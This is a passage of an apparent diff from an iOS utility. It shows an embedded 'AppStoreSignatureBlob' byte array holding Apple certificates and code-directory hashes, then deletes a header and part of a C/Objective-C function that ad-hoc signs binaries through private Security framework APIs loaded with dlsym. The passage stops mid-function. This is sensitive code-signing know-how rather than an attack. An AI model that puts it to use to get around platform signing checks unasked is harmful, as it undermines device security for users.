0x5f, 0x3e, 0xee, 0xc3, 0xf2, 0x8c, 0x23, 0x04, 0x95, 0xeb, 0xac, 0x8a,
0x3e, 0x82, 0x6c, 0x06, 0x9f, 0x2e, 0xe3, 0x8b, 0x43, 0x9a, 0x62, 0x5b,
0x34, 0x0d, 0xf4, 0x99, 0xcf, 0x2c, 0xee, 0xba, 0x72, 0x86, 0x19, 0x23,
0xa5, 0xfc, 0x8e, 0xb5, 0x30, 0x82, 0x04, 0xbb, 0x30, 0x82, 0x03, 0xa3,
0xa0, 0x03, 0x02, 0x01, 0x02, 0x02, 0x01, 0x02, 0x30, 0x0d, 0x06, 0x09,
0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x05, 0x05, 0x00, 0x30,
0x62, 0x31, 0x0b, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02,
0x55, 0x53, 0x31, 0x13, 0x30, 0x11, 0x06, 0x03, 0x55, 0x04, 0x0a, 0x13,
0x0a, 0x41, 0x70, 0x70, 0x6c, 0x65, 0x20, 0x49, 0x6e, 0x63, 0x2e, 0x31,
0x26, 0x30, 0x24, 0x06, 0x03, 0x55, 0x04, 0x0b, 0x13, 0x1d, 0x41, 0x70,
0x70, 0x6c, 0x65, 0x20, 0x43, 0x65, 0x72, 0x74, 0x69, 0x66, 0x69, 0x63,
0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72,
0x69, 0x74, 0x79, 0x31, 0x16, 0x30, 0x14, 0x06, 0x03, 0x55, 0x04, 0x03,
0x13, 0x0d, 0x41, 0x70, 0x70, 0x6c, 0x65, 0x20, 0x52, 0x6f, 0x6f, 0x74,
0x20, 0x43, 0x41, 0x30, 0x1e, 0x17, 0x0d, 0x30, 0x36, 0x30, 0x34, 0x32,
0x35, 0x32, 0x31, 0x34, 0x30, 0x33, 0x36, 0x5a, 0x17, 0x0d, 0x33, 0x35,
0x30, 0x32, 0x30, 0x39, 0x32, 0x31, 0x34, 0x30, 0x33, 0x36, 0x5a, 0x30,
0x62, 0x31, 0x0b, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02,
0x55, 0x53, 0x31, 0x13, 0x30, 0x11, 0x06, 0x03, 0x55, 0x04, 0x0a, 0x13,
0x0a, 0x41, 0x70, 0x70, 0x6c, 0x65, 0x20, 0x49, 0x6e, 0x63, 0x2e, 0x31,
0x26, 0x30, 0x24, 0x06, 0x03, 0x55, 0x04, 0x0b, 0x13, 0x1d, 0x41, 0x70,
0x70, 0x6c, 0x65, 0x20, 0x43, 0x65, 0x72, 0x74, 0x69, 0x66, 0x69, 0x63,
0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72,
0x69, 0x74, 0x79, 0x31, 0x16, 0x30, 0x14, 0x06, 0x03, 0x55, 0x04, 0x03,
0x13, 0x0d, 0x41, 0x70, 0x70, 0x6c, 0x65, 0x20, 0x52, 0x6f, 0x6f, 0x74,
0x20, 0x43, 0x41, 0x30, 0x82, 0x01, 0x22, 0x30, 0x0d, 0x06, 0x09, 0x2a,
0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x01, 0x05, 0x00, 0x03, 0x82,
0x01, 0x0f, 0x00, 0x30, 0x82, 0x01, 0x0a, 0x02, 0x82, 0x01, 0x01, 0x00,
0xe4, 0x91, 0xa9, 0x09, 0x1f, 0x91, 0xdb, 0x1e, 0x47, 0x50, 0xeb, 0x05,
0xed, 0x5e, 0x79, 0x84, 0x2d, 0xeb, 0x36, 0xa2, 0x57, 0x4c, 0x55, 0xec,
0x8b, 0x19, 0x89, 0xde, 0xf9, 0x4b, 0x6c, 0xf5, 0x07, 0xab, 0x22, 0x30,
0x02, 0xe8, 0x18, 0x3e, 0xf8, 0x50, 0x09, 0xd3, 0x7f, 0x41, 0xa8, 0x98,
0xf9, 0xd1, 0xca, 0x66, 0x9c, 0x24, 0x6b, 0x11, 0xd0, 0xa3, 0xbb, 0xe4,
0x1b, 0x2a, 0xc3, 0x1f, 0x95, 0x9e, 0x7a, 0x0c, 0xa4, 0x47, 0x8b, 0x5b,
0xd4, 0x16, 0x37, 0x33, 0xcb, 0xc4, 0x0f, 0x4d, 0xce, 0x14, 0x69, 0xd1,
0xc9, 0x19, 0x72, 0xf5, 0x5d, 0x0e, 0xd5, 0x7f, 0x5f, 0x9b, 0xf2, 0x25,
0x03, 0xba, 0x55, 0x8f, 0x4d, 0x5d, 0x0d, 0xf1, 0x64, 0x35, 0x23, 0x15,
0x4b, 0x15, 0x59, 0x1d, 0xb3, 0x94, 0xf7, 0xf6, 0x9c, 0x9e, 0xcf, 0x50,
0xba, 0xc1, 0x58, 0x50, 0x67, 0x8f, 0x08, 0xb4, 0x20, 0xf7, 0xcb, 0xac,
0x2c, 0x20, 0x6f, 0x70, 0xb6, 0x3f, 0x01, 0x30, 0x8c, 0xb7, 0x43, 0xcf,
0x0f, 0x9d, 0x3d, 0xf3, 0x2b, 0x49, 0x28, 0x1a, 0xc8, 0xfe, 0xce, 0xb5,
0xb9, 0x0e, 0xd9, 0x5e, 0x1c, 0xd6, 0xcb, 0x3d, 0xb5, 0x3a, 0xad, 0xf4,
0x0f, 0x0e, 0x00, 0x92, 0x0b, 0xb1, 0x21, 0x16, 0x2e, 0x74, 0xd5, 0x3c,
0x0d, 0xdb, 0x62, 0x16, 0xab, 0xa3, 0x71, 0x92, 0x47, 0x53, 0x55, 0xc1,
0xaf, 0x2f, 0x41, 0xb3, 0xf8, 0xfb, 0xe3, 0x70, 0xcd, 0xe6, 0xa3, 0x4c,
0x45, 0x7e, 0x1f, 0x4c, 0x6b, 0x50, 0x96, 0x41, 0x89, 0xc4, 0x74, 0x62,
0x0b, 0x10, 0x83, 0x41, 0x87, 0x33, 0x8a, 0x81, 0xb1, 0x30, 0x58, 0xec,
0x5a, 0x04, 0x32, 0x8c, 0x68, 0xb3, 0x8f, 0x1d, 0xde, 0x65, 0x73, 0xff,
0x67, 0x5e, 0x65, 0xbc, 0x49, 0xd8, 0x76, 0x9f, 0x33, 0x14, 0x65, 0xa1,
0x77, 0x94, 0xc9, 0x2d, 0x02, 0x03, 0x01, 0x00, 0x01, 0xa3, 0x82, 0x01,
0x7a, 0x30, 0x82, 0x01, 0x76, 0x30, 0x0e, 0x06, 0x03, 0x55, 0x1d, 0x0f,
0x01, 0x01, 0xff, 0x04, 0x04, 0x03, 0x02, 0x01, 0x06, 0x30, 0x0f, 0x06,
0x03, 0x55, 0x1d, 0x13, 0x01, 0x01, 0xff, 0x04, 0x05, 0x30, 0x03, 0x01,
0x01, 0xff, 0x30, 0x1d, 0x06, 0x03, 0x55, 0x1d, 0x0e, 0x04, 0x16, 0x04,
0x14, 0x2b, 0xd0, 0x69, 0x47, 0x94, 0x76, 0x09, 0xfe, 0xf4, 0x6b, 0x8d,
0x2e, 0x40, 0xa6, 0xf7, 0x47, 0x4d, 0x7f, 0x08, 0x5e, 0x30, 0x1f, 0x06,
0x03, 0x55, 0x1d, 0x23, 0x04, 0x18, 0x30, 0x16, 0x80, 0x14, 0x2b, 0xd0,
0x69, 0x47, 0x94, 0x76, 0x09, 0xfe, 0xf4, 0x6b, 0x8d, 0x2e, 0x40, 0xa6,
0xf7, 0x47, 0x4d, 0x7f, 0x08, 0x5e, 0x30, 0x82, 0x01, 0x11, 0x06, 0x03,
0x55, 0x1d, 0x20, 0x04, 0x82, 0x01, 0x08, 0x30, 0x82, 0x01, 0x04, 0x30,
0x82, 0x01, 0x00, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x63, 0x64,
0x05, 0x01, 0x30, 0x81, 0xf2, 0x30, 0x2a, 0x06, 0x08, 0x2b, 0x06, 0x01,
0x05, 0x05, 0x07, 0x02, 0x01, 0x16, 0x1e, 0x68, 0x74, 0x74, 0x70, 0x73,
0x3a, 0x2f, 0x2f, 0x77, 0x77, 0x77, 0x2e, 0x61, 0x70, 0x70, 0x6c, 0x65,
0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x61, 0x70, 0x70, 0x6c, 0x65, 0x63, 0x61,
0x2f, 0x30, 0x81, 0xc3, 0x06, 0x08, 0x2b, 0x06, 0x01, 0x05, 0x05, 0x07,
0x02, 0x02, 0x30, 0x81, 0xb6, 0x1a, 0x81, 0xb3, 0x52, 0x65, 0x6c, 0x69,
0x61, 0x6e, 0x63, 0x65, 0x20, 0x6f, 0x6e, 0x20, 0x74, 0x68, 0x69, 0x73,
0x20, 0x63, 0x65, 0x72, 0x74, 0x69, 0x66, 0x69, 0x63, 0x61, 0x74, 0x65,
0x20, 0x62, 0x79, 0x20, 0x61, 0x6e, 0x79, 0x20, 0x70, 0x61, 0x72, 0x74,
0x79, 0x20, 0x61, 0x73, 0x73, 0x75, 0x6d, 0x65, 0x73, 0x20, 0x61, 0x63,
0x63, 0x65, 0x70, 0x74, 0x61, 0x6e, 0x63, 0x65, 0x20, 0x6f, 0x66, 0x20,
0x74, 0x68, 0x65, 0x20, 0x74, 0x68, 0x65, 0x6e, 0x20, 0x61, 0x70, 0x70,
0x6c, 0x69, 0x63, 0x61, 0x62, 0x6c, 0x65, 0x20, 0x73, 0x74, 0x61, 0x6e,
0x64, 0x61, 0x72, 0x64, 0x20, 0x74, 0x65, 0x72, 0x6d, 0x73, 0x20, 0x61,
0x6e, 0x64, 0x20, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e,
0x73, 0x20, 0x6f, 0x66, 0x20, 0x75, 0x73, 0x65, 0x2c, 0x20, 0x63, 0x65,
0x72, 0x74, 0x69, 0x66, 0x69, 0x63, 0x61, 0x74, 0x65, 0x20, 0x70, 0x6f,
0x6c, 0x69, 0x63, 0x79, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x63, 0x65, 0x72,
0x74, 0x69, 0x66, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x70,
0x72, 0x61, 0x63, 0x74, 0x69, 0x63, 0x65, 0x20, 0x73, 0x74, 0x61, 0x74,
0x65, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2e, 0x30, 0x0d, 0x06, 0x09, 0x2a,
0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x05, 0x05, 0x00, 0x03, 0x82,
0x01, 0x01, 0x00, 0x5c, 0x36, 0x99, 0x4c, 0x2d, 0x78, 0xb7, 0xed, 0x8c,
0x9b, 0xdc, 0xf3, 0x77, 0x9b, 0xf2, 0x76, 0xd2, 0x77, 0x30, 0x4f, 0xc1,
0x1f, 0x85, 0x83, 0x85, 0x1b, 0x99, 0x3d, 0x47, 0x37, 0xf2, 0xa9, 0x9b,
0x40, 0x8e, 0x2c, 0xd4, 0xb1, 0x90, 0x12, 0xd8, 0xbe, 0xf4, 0x73, 0x9b,
0xee, 0xd2, 0x64, 0x0f, 0xcb, 0x79, 0x4f, 0x34, 0xd8, 0xa2, 0x3e, 0xf9,
0x78, 0xff, 0x6b, 0xc8, 0x07, 0xec, 0x7d, 0x39, 0x83, 0x8b, 0x53, 0x20,
0xd3, 0x38, 0xc4, 0xb1, 0xbf, 0x9a, 0x4f, 0x0a, 0x6b, 0xff, 0x2b, 0xfc,
0x59, 0xa7, 0x05, 0x09, 0x7c, 0x17, 0x40, 0x56, 0x11, 0x1e, 0x74, 0xd3,
0xb7, 0x8b, 0x23, 0x3b, 0x47, 0xa3, 0xd5, 0x6f, 0x24, 0xe2, 0xeb, 0xd1,
0xb7, 0x70, 0xdf, 0x0f, 0x45, 0xe1, 0x27, 0xca, 0xf1, 0x6d, 0x78, 0xed,
0xe7, 0xb5, 0x17, 0x17, 0xa8, 0xdc, 0x7e, 0x22, 0x35, 0xca, 0x25, 0xd5,
0xd9, 0x0f, 0xd6, 0x6b, 0xd4, 0xa2, 0x24, 0x23, 0x11, 0xf7, 0xa1, 0xac,
0x8f, 0x73, 0x81, 0x60, 0xc6, 0x1b, 0x5b, 0x09, 0x2f, 0x92, 0xb2, 0xf8,
0x44, 0x48, 0xf0, 0x60, 0x38, 0x9e, 0x15, 0xf5, 0x3d, 0x26, 0x67, 0x20,
0x8a, 0x33, 0x6a, 0xf7, 0x0d, 0x82, 0xcf, 0xde, 0xeb, 0xa3, 0x2f, 0xf9,
0x53, 0x6a, 0x5b, 0x64, 0xc0, 0x63, 0x33, 0x77, 0xf7, 0x3a, 0x07, 0x2c,
0x56, 0xeb, 0xda, 0x0f, 0x21, 0x0e, 0xda, 0xba, 0x73, 0x19, 0x4f, 0xb5,
0xd9, 0x36, 0x7f, 0xc1, 0x87, 0x55, 0xd9, 0xa7, 0x99, 0xb9, 0x32, 0x42,
0xfb, 0xd8, 0xd5, 0x71, 0x9e, 0x7e, 0xa1, 0x52, 0xb7, 0x1b, 0xbd, 0x93,
0x42, 0x24, 0x12, 0x2a, 0xc7, 0x0f, 0x1d, 0xb6, 0x4d, 0x9c, 0x5e, 0x63,
0xc8, 0x4b, 0x80, 0x17, 0x50, 0xaa, 0x8a, 0xd5, 0xda, 0xe4, 0xfc, 0xd0,
0x09, 0x07, 0x37, 0xb0, 0x75, 0x75, 0x21, 0x31, 0x82, 0x03, 0xb5, 0x30,
0x82, 0x03, 0xb1, 0x02, 0x01, 0x01, 0x30, 0x7f, 0x30, 0x73, 0x31, 0x2d,
0x30, 0x2b, 0x06, 0x03, 0x55, 0x04, 0x03, 0x0c, 0x24, 0x41, 0x70, 0x70,
0x6c, 0x65, 0x20, 0x69, 0x50, 0x68, 0x6f, 0x6e, 0x65, 0x20, 0x43, 0x65,
0x72, 0x74, 0x69, 0x66, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20,
0x41, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x74, 0x79, 0x31, 0x20, 0x30,
0x1e, 0x06, 0x03, 0x55, 0x04, 0x0b, 0x0c, 0x17, 0x43, 0x65, 0x72, 0x74,
0x69, 0x66, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x41, 0x75,
0x74, 0x68, 0x6f, 0x72, 0x69, 0x74, 0x79, 0x31, 0x13, 0x30, 0x11, 0x06,
0x03, 0x55, 0x04, 0x0a, 0x0c, 0x0a, 0x41, 0x70, 0x70, 0x6c, 0x65, 0x20,
0x49, 0x6e, 0x63, 0x2e, 0x31, 0x0b, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04,
0x06, 0x13, 0x02, 0x55, 0x53, 0x02, 0x08, 0x40, 0x60, 0x57, 0xb3, 0xc9,
0xbf, 0x9d, 0xf0, 0x30, 0x0d, 0x06, 0x09, 0x60, 0x86, 0x48, 0x01, 0x65,
0x03, 0x04, 0x02, 0x01, 0x05, 0x00, 0xa0, 0x82, 0x02, 0x07, 0x30, 0x18,
0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x09, 0x03, 0x31,
0x0b, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x07, 0x01,
0x30, 0x2f, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x09,
0x04, 0x31, 0x22, 0x04, 0x20, 0xc2, 0x96, 0x8f, 0x4a, 0x63, 0xc0, 0xcf,
0xb6, 0xcd, 0x82, 0xb8, 0x48, 0xe2, 0x04, 0x3d, 0xa0, 0x71, 0xfe, 0xa3,
0x66, 0x32, 0x8c, 0xb4, 0xe0, 0x94, 0x12, 0xdb, 0xb5, 0x73, 0x96, 0xc4,
0xc4, 0x30, 0x5b, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x63, 0x64,
0x09, 0x02, 0x31, 0x4e, 0x30, 0x1d, 0x06, 0x05, 0x2b, 0x0e, 0x03, 0x02,
0x1a, 0x04, 0x14, 0x51, 0xf9, 0xbc, 0xa2, 0x95, 0xbe, 0x9c, 0x2e, 0x1d,
0xee, 0x77, 0xd0, 0x93, 0xce, 0x0f, 0xcf, 0x3f, 0xc9, 0x34, 0x50, 0x30,
0x2d, 0x06, 0x09, 0x60, 0x86, 0x48, 0x01, 0x65, 0x03, 0x04, 0x02, 0x01,
0x04, 0x20, 0x93, 0x72, 0x19, 0xc3, 0x98, 0x18, 0xd7, 0x7d, 0x0c, 0x7b,
0x93, 0x6c, 0xba, 0xd6, 0x2c, 0xa4, 0x4c, 0x44, 0xb7, 0xa4, 0xaa, 0x7c,
0x50, 0x40, 0x93, 0x6f, 0x30, 0xb3, 0xe1, 0x19, 0xb0, 0x40, 0x30, 0x82,
0x01, 0x5b, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x63, 0x64, 0x09,
0x01, 0x31, 0x82, 0x01, 0x4c, 0x04, 0x82, 0x01, 0x48, 0x3c, 0x3f, 0x78,
0x6d, 0x6c, 0x20, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x3d, 0x22,
0x31, 0x2e, 0x30, 0x22, 0x20, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e,
0x67, 0x3d, 0x22, 0x55, 0x54, 0x46, 0x2d, 0x38, 0x22, 0x3f, 0x3e, 0x0a,
0x3c, 0x21, 0x44, 0x4f, 0x43, 0x54, 0x59, 0x50, 0x45, 0x20, 0x70, 0x6c,
0x69, 0x73, 0x74, 0x20, 0x50, 0x55, 0x42, 0x4c, 0x49, 0x43, 0x20, 0x22,
0x2d, 0x2f, 0x2f, 0x41, 0x70, 0x70, 0x6c, 0x65, 0x2f, 0x2f, 0x44, 0x54,
0x44, 0x20, 0x50, 0x4c, 0x49, 0x53, 0x54, 0x20, 0x31, 0x2e, 0x30, 0x2f,
0x2f, 0x45, 0x4e, 0x22, 0x20, 0x22, 0x68, 0x74, 0x74, 0x70, 0x3a, 0x2f,
0x2f, 0x77, 0x77, 0x77, 0x2e, 0x61, 0x70, 0x70, 0x6c, 0x65, 0x2e, 0x63,
0x6f, 0x6d, 0x2f, 0x44, 0x54, 0x44, 0x73, 0x2f, 0x50, 0x72, 0x6f, 0x70,
0x65, 0x72, 0x74, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x2d, 0x31, 0x2e, 0x30,
0x2e, 0x64, 0x74, 0x64, 0x22, 0x3e, 0x0a, 0x3c, 0x70, 0x6c, 0x69, 0x73,
0x74, 0x20, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x3d, 0x22, 0x31,
0x2e, 0x30, 0x22, 0x3e, 0x0a, 0x3c, 0x64, 0x69, 0x63, 0x74, 0x3e, 0x0a,
0x09, 0x3c, 0x6b, 0x65, 0x79, 0x3e, 0x63, 0x64, 0x68, 0x61, 0x73, 0x68,
0x65, 0x73, 0x3c, 0x2f, 0x6b, 0x65, 0x79, 0x3e, 0x0a, 0x09, 0x3c, 0x61,
0x72, 0x72, 0x61, 0x79, 0x3e, 0x0a, 0x09, 0x09, 0x3c, 0x64, 0x61, 0x74,
0x61, 0x3e, 0x0a, 0x09, 0x09, 0x55, 0x66, 0x6d, 0x38, 0x6f, 0x70, 0x57,
0x2b, 0x6e, 0x43, 0x34, 0x64, 0x37, 0x6e, 0x66, 0x51, 0x6b, 0x38, 0x34,
0x50, 0x7a, 0x7a, 0x2f, 0x4a, 0x4e, 0x46, 0x41, 0x3d, 0x0a, 0x09, 0x09,
0x3c, 0x2f, 0x64, 0x61, 0x74, 0x61, 0x3e, 0x0a, 0x09, 0x09, 0x3c, 0x64,
0x61, 0x74, 0x61, 0x3e, 0x0a, 0x09, 0x09, 0x6b, 0x33, 0x49, 0x5a, 0x77,
0x35, 0x67, 0x59, 0x31, 0x33, 0x30, 0x4d, 0x65, 0x35, 0x4e, 0x73, 0x75,
0x74, 0x59, 0x73, 0x70, 0x45, 0x78, 0x45, 0x74, 0x36, 0x51, 0x3d, 0x0a,
0x09, 0x09, 0x3c, 0x2f, 0x64, 0x61, 0x74, 0x61, 0x3e, 0x0a, 0x09, 0x3c,
0x2f, 0x61, 0x72, 0x72, 0x61, 0x79, 0x3e, 0x0a, 0x3c, 0x2f, 0x64, 0x69,
0x63, 0x74, 0x3e, 0x0a, 0x3c, 0x2f, 0x70, 0x6c, 0x69, 0x73, 0x74, 0x3e,
0x0a, 0x30, 0x0d, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01,
0x01, 0x0b, 0x05, 0x00, 0x04, 0x82, 0x01, 0x00, 0x3b, 0x3d, 0x60, 0x8d,
0xa2, 0x95, 0x1e, 0x5b, 0xa6, 0x02, 0xb4, 0x71, 0xc3, 0xfa, 0x01, 0xf0,
0x1c, 0x1f, 0x15, 0x8d, 0xf0, 0x15, 0xcb, 0x76, 0x6a, 0xfd, 0xb4, 0x95,
0x14, 0x6f, 0xea, 0x4c, 0x1b, 0xf1, 0x32, 0x80, 0xe7, 0x97, 0x04, 0x00,
0x07, 0x4d, 0x86, 0x73, 0xbe, 0x5c, 0xd4, 0x13, 0xe4, 0x31, 0xb7, 0x94,
0xc0, 0x6a, 0xf9, 0x4a, 0x48, 0x7a, 0x44, 0xde, 0x67, 0xc8, 0xb2, 0xcd,
0xed, 0x2c, 0xff, 0x80, 0xec, 0x96, 0xc1, 0x2e, 0x37, 0x13, 0x67, 0x1b,
0xa3, 0x54, 0x63, 0x88, 0x84, 0x5d, 0x1a, 0xca, 0xc9, 0x58, 0xec, 0xca,
0x82, 0x38, 0x8d, 0x29, 0x1c, 0xca, 0x58, 0x50, 0xc4, 0xd0, 0x91, 0xba,
0x22, 0x7e, 0x73, 0x00, 0x58, 0x48, 0x5d, 0x49, 0xbd, 0xe7, 0xde, 0x35,
0x23, 0xfa, 0x60, 0x93, 0x12, 0x98, 0x2f, 0xf6, 0x8b, 0x38, 0x54, 0x32,
0x75, 0x0a, 0x3b, 0xed, 0x7f, 0x6a, 0x78, 0xf7, 0x87, 0x30, 0x49, 0xf4,
0x1f, 0x0d, 0x0a, 0x8b, 0xb7, 0xa7, 0x7e, 0x69, 0x48, 0x34, 0x6c, 0x9b,
0x77, 0xce, 0x0e, 0x68, 0xd9, 0x30, 0xb2, 0xc6, 0xa3, 0x30, 0x8a, 0x87,
0xd9, 0x25, 0xd7, 0x58, 0xc1, 0xae, 0x33, 0x4f, 0xeb, 0x2c, 0xcb, 0xf2,
0xb2, 0xe8, 0x2d, 0xa9, 0x4c, 0xa8, 0xd8, 0x64, 0x8b, 0x91, 0xdc, 0xb6,
0x55, 0x69, 0x84, 0x43, 0x4b, 0x75, 0xe6, 0xba, 0xd6, 0x58, 0x5b, 0x5e,
0xe7, 0x91, 0x5a, 0x69, 0x9b, 0xb6, 0x45, 0x7f, 0x1a, 0x9f, 0x0b, 0x87,
0xac, 0x4c, 0xc8, 0x58, 0x59, 0x18, 0x25, 0x02, 0x6c, 0xb2, 0x66, 0xf1,
0x2c, 0xc7, 0xaf, 0x68, 0x7a, 0x0e, 0x82, 0x93, 0x27, 0xd8, 0x75, 0x01,
0xdf, 0xd4, 0xa7, 0xba, 0xa5, 0x6e, 0xb2, 0x16, 0x49, 0x9a, 0xef, 0xdf,
0xec, 0xa7, 0x15, 0x78, 0x05, 0x68, 0x37, 0xaf, 0xf6, 0xfb, 0xa9, 0x3b,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};
unsigned int AppStoreSignatureBlob_len = 4398;

View File

@ -1,4 +0,0 @@
#import <stdbool.h>
#import <Foundation/Foundation.h>
int codesign_sign_adhoc(const char *path, bool preserveMetadata, NSDictionary *customEntitlements);

View File

@ -1,186 +0,0 @@
#include <Foundation/Foundation.h>
#include <Security/Security.h>
#include <TargetConditionals.h>
#include <dlfcn.h>
#ifdef __cplusplus
extern "C" {
#endif
#if TARGET_OS_OSX
#include <Security/SecCode.h>
#include <Security/SecStaticCode.h>
#else
// CSCommon.h
typedef struct CF_BRIDGED_TYPE(id) __SecCode const* SecStaticCodeRef; /* code on disk */
typedef CF_OPTIONS(uint32_t, SecCSFlags) {
kSecCSDefaultFlags = 0, /* no particular flags (default behavior) */
kSecCSConsiderExpiration = 1U << 31, /* consider expired certificates invalid */
kSecCSEnforceRevocationChecks = 1 << 30, /* force revocation checks regardless of preference settings */
kSecCSNoNetworkAccess = 1 << 29, /* do not use the network, cancels "kSecCSEnforceRevocationChecks" */
kSecCSReportProgress = 1 << 28, /* make progress report call-backs when configured */
kSecCSCheckTrustedAnchors = 1 << 27, /* build certificate chain to system trust anchors, not to any self-signed certificate */
kSecCSQuickCheck = 1 << 26, /* (internal) */
kSecCSApplyEmbeddedPolicy = 1 << 25, /* Apply Embedded (iPhone) policy regardless of the platform we're running on */
};
// SecStaticCode.h
OSStatus SecStaticCodeCreateWithPathAndAttributes(CFURLRef path, SecCSFlags flags, CFDictionaryRef attributes,
SecStaticCodeRef* __nonnull CF_RETURNS_RETAINED staticCode);
// SecCode.h
CF_ENUM(uint32_t){
kSecCSInternalInformation = 1 << 0, kSecCSSigningInformation = 1 << 1, kSecCSRequirementInformation = 1 << 2,
kSecCSDynamicInformation = 1 << 3, kSecCSContentInformation = 1 << 4, kSecCSSkipResourceDirectory = 1 << 5,
kSecCSCalculateCMSDigest = 1 << 6,
};
OSStatus SecCodeCopySigningInformation(SecStaticCodeRef code, SecCSFlags flags, CFDictionaryRef* __nonnull CF_RETURNS_RETAINED information);
extern const CFStringRef kSecCodeInfoEntitlements; /* generic */
extern const CFStringRef kSecCodeInfoIdentifier; /* generic */
extern const CFStringRef kSecCodeInfoRequirementData; /* Requirement */
#endif
typedef CF_OPTIONS(uint32_t, SecPreserveFlags) {
kSecCSPreserveIdentifier = 1 << 0,
kSecCSPreserveRequirements = 1 << 1,
kSecCSPreserveEntitlements = 1 << 2,
kSecCSPreserveResourceRules = 1 << 3,
kSecCSPreserveFlags = 1 << 4,
kSecCSPreserveTeamIdentifier = 1 << 5,
kSecCSPreserveDigestAlgorithm = 1 << 6,
kSecCSPreservePreEncryptHashes = 1 << 7,
kSecCSPreserveRuntime = 1 << 8,
};
// SecCodeSigner.h
#ifdef BRIDGED_SECCODESIGNER
typedef struct CF_BRIDGED_TYPE(id) __SecCodeSigner* SecCodeSignerRef SPI_AVAILABLE(macos(10.5), ios(15.0), macCatalyst(13.0));
#else
typedef struct __SecCodeSigner* SecCodeSignerRef SPI_AVAILABLE(macos(10.5), ios(15.0), macCatalyst(13.0));
#endif
const CFStringRef kSecCodeSignerApplicationData = CFSTR("application-specific");
const CFStringRef kSecCodeSignerDetached = CFSTR("detached");
const CFStringRef kSecCodeSignerDigestAlgorithm = CFSTR("digest-algorithm");
const CFStringRef kSecCodeSignerDryRun = CFSTR("dryrun");
const CFStringRef kSecCodeSignerEntitlements = CFSTR("entitlements");
const CFStringRef kSecCodeSignerFlags = CFSTR("flags");
const CFStringRef kSecCodeSignerIdentifier = CFSTR("identifier");
const CFStringRef kSecCodeSignerIdentifierPrefix = CFSTR("identifier-prefix");
const CFStringRef kSecCodeSignerIdentity = CFSTR("signer");
const CFStringRef kSecCodeSignerPageSize = CFSTR("pagesize");
const CFStringRef kSecCodeSignerRequirements = CFSTR("requirements");
const CFStringRef kSecCodeSignerResourceRules = CFSTR("resource-rules");
const CFStringRef kSecCodeSignerSDKRoot = CFSTR("sdkroot");
const CFStringRef kSecCodeSignerSigningTime = CFSTR("signing-time");
const CFStringRef kSecCodeSignerRequireTimestamp = CFSTR("timestamp-required");
const CFStringRef kSecCodeSignerTimestampServer = CFSTR("timestamp-url");
const CFStringRef kSecCodeSignerTimestampAuthentication = CFSTR("timestamp-authentication");
const CFStringRef kSecCodeSignerTimestampOmitCertificates = CFSTR("timestamp-omit-certificates");
const CFStringRef kSecCodeSignerPreserveMetadata = CFSTR("preserve-metadata");
const CFStringRef kSecCodeSignerTeamIdentifier = CFSTR("teamidentifier");
const CFStringRef kSecCodeSignerPlatformIdentifier = CFSTR("platform-identifier");
#ifdef BRIDGED_SECCODESIGNER
OSStatus SecCodeSignerCreate(CFDictionaryRef parameters, SecCSFlags flags, SecCodeSignerRef* __nonnull CF_RETURNS_RETAINED signer)
SPI_AVAILABLE(macos(10.5), ios(15.0), macCatalyst(13.0));
#else
OSStatus SecCodeSignerCreate(CFDictionaryRef parameters, SecCSFlags flags, SecCodeSignerRef* signer)
SPI_AVAILABLE(macos(10.5), ios(15.0), macCatalyst(13.0));
#endif
OSStatus SecCodeSignerAddSignatureWithErrors(SecCodeSignerRef signer, SecStaticCodeRef code, SecCSFlags flags, CFErrorRef* errors)
SPI_AVAILABLE(macos(10.5), ios(15.0), macCatalyst(13.0));
// SecCodePriv.h
extern const CFStringRef kSecCodeInfoResourceDirectory; /* Internal */
#ifdef __cplusplus
}
#endif
int codesign_sign_adhoc(const char *path, bool preserveMetadata, NSDictionary *customEntitlements)
{
// We need to do this shit because iOS 14 does not have the symbol
OSStatus (*__SecCodeSignerCreate)(CFDictionaryRef parameters, SecCSFlags flags, SecCodeSignerRef *signerRef) = dlsym(RTLD_DEFAULT, "SecCodeSignerCreate");
OSStatus (*__SecCodeSignerAddSignatureWithErrors)(SecCodeSignerRef signerRef, SecStaticCodeRef codeRef, SecCSFlags flags, CFErrorRef *errors) = dlsym(RTLD_DEFAULT, "SecCodeSignerAddSignatureWithErrors");
// if this is not found, all bets are off
if (!__SecCodeSignerCreate) return 404;
if (!__SecCodeSignerAddSignatureWithErrors) return 404;
NSString *filePath = [NSString stringWithUTF8String:path];
OSStatus status = 0;
int retval = 200;
